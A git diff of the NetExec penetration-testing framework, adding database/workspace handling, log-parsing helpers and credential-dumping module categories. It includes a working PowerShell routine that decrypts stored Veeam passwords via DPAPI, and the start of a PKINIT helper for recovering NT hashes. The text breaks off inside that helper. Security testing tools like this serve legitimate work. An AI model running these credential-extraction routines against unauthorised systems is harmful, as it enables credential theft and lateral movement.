 	$enc = [system.text.encoding]::Default
-	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
+
+	try {
+		# Decrypt password with DPAPI (old Veeam versions)
+		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+	} catch {
+		try{
+			# Decrypt password with salted DPAPI (new Veeam versions)
+			$salt = [System.Convert]::FromBase64String($b64Salt)
+			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
+			foreach ($byte in $EncryptedPWD)
+			{
+				$hex.AppendFormat("{0:x2}", $byte) > $null
+			}
+			$hex = $hex.ToString().Substring(74,$hex.Length-74)
+			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
+			for ($i = 0; $i -lt $hex.Length; $i += 2)
+			{
+				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
+			}
+			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
+			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+		}catch {
+			$pw_string = "COULD_NOT_DECRYPT"
+		}
+	}
+	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $pw_string
+	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $output | Format-Table -HideTableHeaders | Out-String
+Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

nxc/database.py

@@ -0,0 +1,197 @@
+import configparser
+import ipaddress
+import shutil
+import sys
+from os import mkdir
+from os.path import exists
+from os.path import join as path_join
+from pathlib import Path
+from threading import Lock
+
+from sqlalchemy import Table, create_engine, MetaData, func
+from sqlalchemy.exc import (
+    IllegalStateChangeError,
+    NoInspectionAvailable,
+    NoSuchTableError,
+)
+from sqlalchemy.orm import sessionmaker, scoped_session
+from nxc.loaders.protocolloader import ProtocolLoader
+from nxc.logger import nxc_logger
+from nxc.paths import WORKSPACE_DIR
+
+
+def create_db_engine(db_path):
+    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
+
+
+def open_config(config_path):
+    try:
+        config = configparser.ConfigParser()
+        config.read(config_path)
+    except Exception as e:
+        print(f"[-] Error reading nxc.conf: {e}")
+        sys.exit(1)
+    return config
+
+
+def get_workspace(config):
+    return config.get("nxc", "workspace")
+
+
+def set_workspace(config_path, workspace_name):
+    config = open_config(config_path)
+    config.set("nxc", "workspace", workspace_name)
+    write_configfile(config, config_path)
+    print(f"[*] Workspace set to {workspace_name}")
+
+
+def get_db(config):
+    return config.get("nxc", "last_used_db")
+
+
+def write_configfile(config, config_path):
+    with open(config_path, "w") as configfile:
+        config.write(configfile)
+
+
+def init_protocol_dbs(workspace_name, p_loader=None):
+    """Check for each protocol if the database exists, if not create it."""
+    if p_loader is None:
+        p_loader = ProtocolLoader()
+    protocols = p_loader.get_protocols()
+    for protocol in protocols:
+        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
+        proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
+
+        if not exists(proto_db_path):
+            print(f"[*] Initializing {protocol.upper()} protocol database")
+            db_engine = create_db_engine(proto_db_path)
+            protocol_object.database.db_schema(db_engine)
+            db_engine.dispose()
+
+
+def create_workspace(workspace_name, p_loader=None):
+    """
+    Create a new workspace with the given name.
+
+    Args:
+    ----
+        workspace_name (str): The name of the workspace.
+
+    Returns:
+    -------
+        None
+    """
+    if exists(path_join(WORKSPACE_DIR, workspace_name)):
+        print(f"[-] Workspace {workspace_name} already exists")
+    else:
+        print(f"[*] Creating {workspace_name} workspace")
+        mkdir(path_join(WORKSPACE_DIR, workspace_name))
+
+    init_protocol_dbs(workspace_name, p_loader)
+
+
+def delete_workspace(workspace_name):
+    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
+    print(f"[*] Workspace {workspace_name} deleted")
+
+
+def initialize_db():
+    if not exists(path_join(WORKSPACE_DIR, "default")):
+        create_workspace("default")
+
+    # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
+    init_protocol_dbs("default")
+
+
+def format_host_query(q, filter_term, HostsTable):
+    """One annoying thing is that if you search for an ip such as '10.10.10.5',
+    it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
+    """
+    # the FTP and SSH protocols call the column host instead of IP
+    # TODO: normalize these column names
+    if hasattr(HostsTable.c, "ip"):
+        ip_column = HostsTable.c.ip
+        nxc_logger.debug("Using 'ip' column for filtering")
+    elif hasattr(HostsTable.c, "host"):
+        ip_column = HostsTable.c.host
+        nxc_logger.debug("Using 'host' column for filtering")
+    else:
+        nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
+        return q
+
+    # first we check if its an ip address
+    try:
+        ipaddress.ip_address(filter_term)
+        nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
+        q = q.filter(ip_column == filter_term)
+    except ValueError:
+        nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
+        like_term = func.lower(f"%{filter_term}%")
+
+        # check if the hostname column exists for hostname searching
+        q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
+
+    return q
+
+
+class BaseDB:
+    def __init__(self, db_engine):
+        self.db_engine = db_engine
+        self.db_path = self.db_engine.url.database
+        self.protocol = Path(self.db_path).stem.upper()
+        self.metadata = MetaData()
+        self.reflect_tables()
+        session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
+
+        session = scoped_session(session_factory)
+        self.sess = session()
+        self.lock = Lock()
+
+    def reflect_tables(self):
+        raise NotImplementedError("Reflect tables not implemented")
+
+    def reflect_table(self, table):
+        with self.db_engine.connect():
+            try:
+                reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
+
+                # Check for column addition / deletion
+                reflected_columns = set(reflected_table.columns.keys())
+                orm_columns = {column.name for column in table.__table__.columns}
+                if reflected_columns != orm_columns:
+                    raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
+
+                # Check for constraint changes
+                reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
+                orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
+                if reflected_constraints != orm_constraints:
+                    raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
+
+                return reflected_table
+            except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
+                nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
+                nxc_logger.debug(e)
+                nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
+                nxc_logger.fail(f"Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)")
+                nxc_logger.fail(f"Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB")
+                sys.exit()
+
+    def shutdown_db(self):
+        try:
+            self.sess.close()
+        # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
+        # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
+        # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
+        except IllegalStateChangeError as e:
+            nxc_logger.debug(f"Error while closing session db object: {e}")
+
+    def clear_database(self):
+        for table in self.metadata.sorted_tables:
+            self.db_execute(table.delete())
+
+    def db_execute(self, *args):
+        self.lock.acquire()
+        res = self.sess.execute(*args)
+        self.lock.release()
+        return res

nxc/first_run.py

@@ -3,23 +3,21 @@ from os.path import exists
 from os.path import join as path_join
 import shutil
 from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
-from nxc.nxcdb import initialize_db
+from nxc.database import initialize_db
 from nxc.logger import nxc_logger
 
 
 def first_run_setup(logger=nxc_logger):
-    if not exists(TMP_PATH):
-        mkdir(TMP_PATH)
-
     if not exists(NXC_PATH):
         logger.display("First time use detected")
         logger.display("Creating home directory structure")
         mkdir(NXC_PATH)
+    if not exists(TMP_PATH):
+        mkdir(TMP_PATH)
 
     folders = (
         "logs",
         "modules",
-        "protocols",
         "workspaces",
         "obfuscated_scripts",
         "screenshots",
@@ -29,13 +27,20 @@ def first_run_setup(logger=nxc_logger):
             logger.display(f"Creating missing folder {folder}")
             mkdir(path_join(NXC_PATH, folder))
 
-    initialize_db(logger)
+    log_subfolders = (
+        "sam",
+        "lsa",
+        "ntds",
+        "dpapi",
+    )
+    for subfolder in log_subfolders:
+        if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
+            logger.display(f"Creating missing folder logs/{subfolder}")
+            mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
+
+    initialize_db()
 
     if not exists(CONFIG_PATH):
         logger.display("Copying default configuration file")
         default_path = path_join(DATA_PATH, "nxc.conf")
         shutil.copy(default_path, NXC_PATH)
-
-    # if not exists(CERT_PATH):
-    #         if os.name != 'nt':
-    #         if e.errno == errno.ENOENT:

nxc/helpers/args.py

@@ -0,0 +1,41 @@
+from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
+from argparse import Action
+
+
+class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
+    def _get_help_string(self, action):
+        help_string = action.help
+        if "%(default)" not in action.help and action.default is not SUPPRESS:
+            defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
+            if (action.option_strings or action.nargs in defaulting_nargs) and action.default:  # Only add default info if it's not None
+                help_string += " (default: %(default)s)"  # NORUFF
+        return help_string
+
+
+class DefaultTrackingAction(Action):
+    def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
+        # Store the default value to check later
+        self.default_value = default
+        super().__init__(
+            option_strings, dest, default=default, required=required, **kwargs
+        )
+
+    def __call__(self, parser, namespace, values, option_string=None):
+        # Set an attribute to track whether the value was explicitly set
+        setattr(namespace, self.dest, values)
+        setattr(namespace, f"{self.dest}_explicitly_set", True)
+
+
+def get_conditional_action(baseAction):
+    class ConditionalAction(baseAction):
+        def __init__(self, option_strings, dest, **kwargs):
+            x = kwargs.pop("make_required", [])
+            super().__init__(option_strings, dest, **kwargs)
+            self.make_required = x
+
+        def __call__(self, parser, namespace, values, option_string=None):
+            for x in self.make_required:
+                x.required = True
+            super().__call__(parser, namespace, values, option_string)
+
+    return ConditionalAction

nxc/helpers/bloodhound.py

@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
                         _add_with_domain(user_info, domain, tx, logger)
         except AuthError:
             logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
-            return
         except ServiceUnavailable:
             logger.fail(f"Neo4J does not seem to be available on {uri}.")
-            return
         except Exception as e:
             logger.fail(f"Unexpected error with Neo4J: {e}")
-            return
-        driver.close()
+        finally:
+            driver.close()
 
 
 def _add_with_domain(user_info, domain, tx, logger):

nxc/helpers/even6_parser.py

@@ -0,0 +1,214 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+import struct
+import uuid
+
+from datetime import datetime
+from nxc.logger import nxc_logger
+
+
+class Substitution:
+    def __init__(self, buf, offset):
+        (sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
+        self.length = 4
+
+        self._id = sub_id
+        self._type = sub_type
+        self._optional = sub_token == 0x0e
+
+    def xml(self, template=None):
+        value = template.values[self._id]
+        if value.type == 0x0:
+            return None if self._optional else ""
+        if self._type == 0x1:
+            return value.data.decode("utf16")
+        elif self._type == 0x4:
+            return str(struct.unpack("<B", value.data)[0])
+        elif self._type == 0x6:
+            return str(struct.unpack("<H", value.data)[0])
+        elif self._type == 0x8:
+            return str(struct.unpack("<I", value.data)[0])
+        elif self._type == 0xa:
+            return str(struct.unpack("<Q", value.data)[0])
+        elif self._type == 0x11:
+            # see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
+            return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
+        elif self._type == 0x13:
+            # see http://www.gossamer-threads.com/lists/apache/bugs/386930
+            revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
+            iav = struct.unpack_from(">Q", value.data, 2)[0]
+            sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
+            return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
+        elif self._type == 0x15 or self._type == 0x10:
+            return value.data.hex()
+        elif self._type == 0x21:
+            return value.template.xml()
+        elif self._type == 0xf:
+            return str(uuid.UUID(bytes_le=value.data))
+        else:
+            nxc_logger.display(f"Unknown value type {hex(value.type)}")
+
+
+class Value:
+    def __init__(self, buf, offset):
+        token, string_type, length = struct.unpack_from("<BBH", buf, offset)
+        self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
+
+        self.length = 4 + length * 2
+
+    def xml(self, template=None):
+        return self._val
+
+
+class Attribute:
+    def __init__(self, buf, offset):
+        struct.unpack_from("<B", buf, offset)
+        self._name = Name(buf, offset + 1)
+
+        (next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
+        if next_token[0] == 0x05 or next_token == 0x45:
+            self._value = Value(buf, offset + 1 + self._name.length)
+        elif next_token[0] == 0x0e:
+            self._value = Substitution(buf, offset + 1 + self._name.length)
+        else:
+            nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
+
+        self.length = 1 + self._name.length + self._value.length
+
+    def xml(self, template=None):
+        val = self._value.xml(template)
+        return None if val is None else f'{self._name.val}="{val}"'
+
+
+class Name:
+    def __init__(self, buf, offset):
+        hashs, length = struct.unpack_from("<HH", buf, offset)
+
+        self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
+        self.length = 4 + (length + 1) * 2
+
+
+class Element:
+    def __init__(self, buf, offset):
+        token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
+
+        self._name = Name(buf, offset + 7)
+        self._dependency = dependency_id
+
+        ofs = offset + 7 + self._name.length
+        if token == 0x41:
+            struct.unpack_from("<I", buf, ofs)
+            ofs += 4
+
+        self._children = []
+        self._attributes = []
+
+        while True:
+            next_token = buf[ofs]
+            if next_token == 0x06 or next_token == 0x46:
+                attr = Attribute(buf, ofs)
+                self._attributes.append(attr)
+                ofs += attr.length
+            elif next_token == 0x02:
+                self._empty = False
+                ofs += 1
+                while True:
+                    next_token = buf[ofs]
+                    if next_token == 0x01 or next_token == 0x41:
+                        element = Element(buf, ofs)
+                    elif next_token == 0x04:
+                        ofs += 1
+                        break
+                    elif next_token == 0x05:
+                        element = Value(buf, ofs)
+                    elif next_token == 0x0e or next_token == 0x0d:
+                        element = Substitution(buf, ofs)
+                    else:
+                        nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
+                        break
+
+                    self._children.append(element)
+                    ofs += element.length
+
+                break
+            elif next_token == 0x03:
+                self._empty = True
+                ofs += 1
+                break
+            else:
+                nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
+                break
+
+        self.length = ofs - offset
+
+    def xml(self, template=None):
+        if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
+            return ""
+
+        attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
+
+        attrs = " ".join(attrs)
+        if len(attrs) > 0:
+            attrs = " " + attrs
+
+        if self._empty:
+            return f"<{self._name.val}{attrs}/>"
+        else:
+            children = (x.xml(template) for x in self._children)
+            return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
+
+
+class ValueSpec:
+    def __init__(self, buf, offset, value_offset):
+        self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
+        self.data = buf[value_offset:value_offset + self.length]
+
+        if self.type == 0x21:
+            self.template = BinXML(buf, value_offset)
+
+
+class TemplateInstance:
+    def __init__(self, buf, offset):
+        token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
+        if next_token == 0x0F:
+            self._xml = BinXML(buf, offset + 0x16)
+            eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
+            values_length = 0
+            self.values = []
+            for x in range(num_values):
+                value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
+                self.values.append(value)
+                values_length += value.length
+
+            self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
+        else:
+            nxc_logger.display(f"Unknown template token {hex(next_token)}")
+
+    def xml(self, template=None):
+        return self._xml.xml(self)
+
+
+class BinXML:
+    def __init__(self, buf, offset):
+        header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
+
+        if next_token == 0x0C:
+            self._element = TemplateInstance(buf, offset + 4)
+        elif next_token == 0x01 or next_token == 0x41:
+            self._element = Element(buf, offset + 4)
+        else:
+            nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
+
+        self.length = 4 + self._element.length
+
+    def xml(self, template=None):
+        return self._element.xml(template)
+
+
+class ResultSet:
+    def __init__(self, buf):
+        total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
+        self._xml = BinXML(buf, 0x14)
+
+    def xml(self):
+        return self._xml.xml()

nxc/helpers/logger.py

@@ -1,9 +1,10 @@
 import os
 from termcolor import colored
+from nxc.paths import NXC_PATH
 
 
 def write_log(data, log_name):
-    logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
+    logs_dir = os.path.join(NXC_PATH, "logs")
     with open(os.path.join(logs_dir, log_name), "w") as log_output:
         log_output.write(data)
 

nxc/helpers/misc.py

@@ -1,8 +1,13 @@
+from enum import Enum
 import random
 import string
 import re
 import inspect
 import os
+from termcolor import colored
+from ipaddress import ip_address
+from nxc.logger import nxc_logger
+from time import strftime, gmtime
 
 
 def identify_target_file(target_file):
@@ -22,7 +27,7 @@ def gen_random_string(length=10):
 
 
 def validate_ntlm(data):
-    allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
+    allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
     return bool(allowed.match(data))
 
 
@@ -40,7 +45,7 @@ def called_from_cmd_args():
 # Stolen from https://github.com/pydanny/whichcraft/
 def which(cmd, mode=os.F_OK | os.X_OK, path=None):
     """Find the path which conforms to the given mode on the PATH for a command.
-    
+
     Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
     `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
     Note: This function was backported from the Python 3 source code.
@@ -77,3 +82,163 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
                 name = os.path.join(p, thefile)
                 if _access_check(name, mode):
                     return name
+
+
+def get_bloodhound_info():
+    """
+    Detect which BloodHound package is installed (regular or CE) and its version.
+
+    Returns
+    -------
+        tuple: (package_name, version, is_ce)
+            - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
+            - version: Version string of the installed package (or None if not installed)
+            - is_ce: Boolean indicating if it's the Community Edition
+    """
+    import importlib.metadata
+    import importlib.util
+
+    # First check if any BloodHound package is available to import
+    if importlib.util.find_spec("bloodhound") is None:
+        return None, None, False
+
+    # Try to get version info from both possible packages
+    version = None
+    package_name = None
+    is_ce = False
+
+    # Check for bloodhound-ce first
+    try:
+        version = importlib.metadata.version("bloodhound-ce")
+        package_name = "bloodhound-ce"
+        is_ce = True
+    except importlib.metadata.PackageNotFoundError:
+        # Check for regular bloodhound
+        try:
+            version = importlib.metadata.version("bloodhound")
+            package_name = "bloodhound"
+
+            # Even when installed as 'bloodhound', check if it's actually the CE version
+            if version and ("ce" in version.lower() or "community" in version.lower()):
+                is_ce = True
+        except importlib.metadata.PackageNotFoundError:
+            # No bloodhound package found via metadata
+            pass
+
+    # In case we can import it but metadata is not working, check the module itself
+    if not version:
+        try:
+            import bloodhound
+            version = getattr(bloodhound, "__version__", "unknown")
+            package_name = "bloodhound"
+
+            # Check if it's CE based on version string
+            if "ce" in version.lower() or "community" in version.lower():
+                is_ce = True
+                package_name = "bloodhound-ce"
+        except ImportError:
+            pass
+
+    return package_name, version, is_ce
+
+
+def detect_if_ip(target):
+    try:
+        ip_address(target)
+        return True
+    except Exception:
+        return False
+
+
+def d2b(a):
+    """
+    Function used to convert password property flags from decimal to binary
+    format for easier interpretation of individual flag bits.
+    """
+    tbin = []
+    while a:
+        tbin.append(a % 2)
+        a //= 2
+
+    t2bin = tbin[::-1]
+    if len(t2bin) != 8:
+        for _x in range(6 - len(t2bin)):
+            t2bin.insert(0, 0)
+    return "".join([str(g) for g in t2bin])
+
+
+def convert(low, high, lockout=False):
+    """
+    Convert Windows FILETIME (64-bit) values to human-readable time strings.
+
+    Windows stores time intervals as 64-bit values representing 100-nanosecond
+    intervals since January 1, 1601. This function converts these values to
+    readable format like "30 days 5 hours 15 minutes".
+
+    Args:
+        low (int): Low 32 bits of the FILETIME value
+        high (int): High 32 bits of the FILETIME value
+        lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
+
+    Returns:
+        str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
+             special values like "Not Set", "None", or "[-] Invalid TIME"
+    """
+    time = ""
+    tmp = 0
+
+    if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
+        return "Not Set"
+    if low == 0 and high == 0:
+        return "None"
+
+    if not lockout:
+        if low != 0:
+            high = abs(high + 1)
+        else:
+            high = abs(high)
+            low = abs(low)
+
+        tmp = low + (high << 32)  # convert to 64bit int
+        tmp *= 1e-7  # convert to seconds
+    else:
+        tmp = abs(high) * (1e-7)
+
+    try:
+        minutes = int(strftime("%M", gmtime(tmp)))
+        hours = int(strftime("%H", gmtime(tmp)))
+        days = int(strftime("%j", gmtime(tmp))) - 1
+    except ValueError:
+        return "[-] Invalid TIME"
+
+    if days > 1:
+        time += f"{days} days "
+    elif days == 1:
+        time += f"{days} day "
+    if hours > 1:
+        time += f"{hours} hours "
+    elif hours == 1:
+        time += f"{hours} hour "
+    if minutes > 1:
+        time += f"{minutes} minutes "
+    elif minutes == 1:
+        time += f"{minutes} minute "
+    return time
+
+
+def display_modules(args, modules):
+    for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
+        # Add category filter for module listing
+        if args.list_modules and args.list_modules.lower() != category.name.lower():
+            continue
+        if len([module for module in modules.values() if module["category"] == category]) > 0:
+            nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
+        for name, props in sorted(modules.items()):
+            if props["category"] == category:
+                nxc_logger.display(f"{name:<25} {props['description']}")
+
+
+class CATEGORY(Enum):
+    ENUMERATION = "Enumeration"
+    CREDENTIAL_DUMPING = "Credential Dumping"
+    PRIVILEGE_ESCALATION = "Privilege Escalation"

nxc/helpers/ntlm_parser.py

@@ -0,0 +1,34 @@
+# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
+
+import struct
+
+from impacket import ntlm
+from impacket.smb3 import WIN_VERSIONS
+import contextlib
+
+
+def parse_challenge(challange):
+    target_info = {
+        "hostname": None,
+        "domain": None,
+        "os_version": None
+    }
+    challange = ntlm.NTLMAuthChallenge(challange)
+    av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
+    if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
+    if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+    if "Version" in challange.fields:
+        version = challange["Version"]
+        if len(version) >= 4:
+            major_version = version[0]
+            minor_version = version[1]
+            product_build = struct.unpack("<H", version[2:4])[0]
+            if product_build in WIN_VERSIONS:
+                target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
+            else:
+                target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
+    return target_info

nxc/helpers/pfx.py

@@ -0,0 +1,524 @@
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Author:
+#  Alberto Solino (@agsolino)
+#  Dirk-jan Mollema (@_dirkjan)
+#
+# Description:
+#     This script will use an existing TGT to request a PAC for the current user using U2U.
+#     When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
+#     used for silver tickets and for backwards compatibility with other tooling.
+#
+# References:
+#
+#     U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
+#
+# Based on examples from minikerberos by skelsec
+# Parts of this code was inspired by the following project by @rubin_mor
+# https://github.com/morRubin/AzureADJoinedMachinePTC
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#  Dirk-jan Mollema (@_dirkjan)
+#
+
+import os
+import secrets
+import hashlib
+import datetime
+import random
+import base64
+
+from binascii import unhexlify, hexlify
+
+from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
+from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
+
+from asn1crypto import cms
+from asn1crypto import algos
+from asn1crypto import core
+from asn1crypto import keys
+
+from minikerberos.pkinit import PKINIT, DirtyDH
+from minikerberos.protocol.constants import NAME_TYPE, PaDataType
+from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
+from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
+from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+
+from impacket.dcerpc.v5.rpcrt import TypeSerialization1
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
+from impacket.krb5.kerberosv5 import sendReceive
+from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
+    PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
+from impacket.krb5.types import Principal, KerberosTime, Ticket
+
+# Imports for pfx_auth
+from minikerberos.network.clientsocket import KerberosClientSocket
+from minikerberos.common.target import KerberosTarget
+from minikerberos.common.ccache import CCACHE
+
+from impacket.krb5.ccache import CCache as impacket_CCache
+
+from nxc.paths import NXC_PATH
+from nxc.logger import nxc_logger
+
+
+class myPKINIT(PKINIT):
+    """
+    Copy of minikerberos PKINIT
+    With some changes where it differs from PKINIT used in NegoEx
+    """
+
+    @staticmethod
+    def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
+        with open(pfxfile, "rb") as f:
+            pfxdata = f.read()
+
+        if b64:
+            pfxdata = base64.b64decode(pfxdata)
+
+        return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
+
+    @staticmethod
+    def from_pfx_data(pfxdata, pfxpass, dh_params=None):
+        pkinit = myPKINIT()
+        # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
+        if not pfxpass:
+            from cryptography.hazmat.primitives.serialization import pkcs12
+            from cryptography.hazmat.primitives import serialization
+            privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
+            pem_key = privkey.private_bytes(
+                encoding=serialization.Encoding.PEM,
+                format=serialization.PrivateFormat.TraditionalOpenSSL,
+                encryption_algorithm=serialization.NoEncryption(),
+            )
+            pkinit.privkey = load_private_key(parse_private(pem_key))
+            pem_cert = cert.public_bytes(
+                encoding=serialization.Encoding.PEM
+            )
+            pkinit.certificate = parse_certificate(pem_cert)
+        else:
+            if isinstance(pfxpass, str):
+                pfxpass = pfxpass.encode()
+            pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
+            pkinit.privkey = load_private_key(pkinit.privkeyinfo)
+        pkinit.setup(dh_params=dh_params)
+        return pkinit
+
+    @staticmethod
+    def from_pem(certfile, privkeyfile, dh_params=None):
+        pkinit = myPKINIT()
+        with open(certfile, "rb") as f:
+            pkinit.certificate = parse_certificate(f.read())
+        with open(privkeyfile, "rb") as f:
+            pkinit.privkey = load_private_key(parse_private(f.read()))
+        pkinit.setup(dh_params=dh_params)
+        return pkinit
+
+    def sign_authpack(self, data, wrap_signed=False):
+        return self.sign_authpack_native(data, wrap_signed)
+
+    def setup(self, dh_params=None):
+        self.issuer = self.certificate.issuer.native["common_name"]
+        if dh_params is None:
+            nxc_logger.display("Generating DH params...")
+            nxc_logger.display("DH params generated.")
+        else:
+            if isinstance(dh_params, dict):
+                self.diffie = DirtyDH.from_dict(dh_params)
+            elif isinstance(dh_params, bytes):
+                self.diffie = DirtyDH.from_asn1(dh_params)
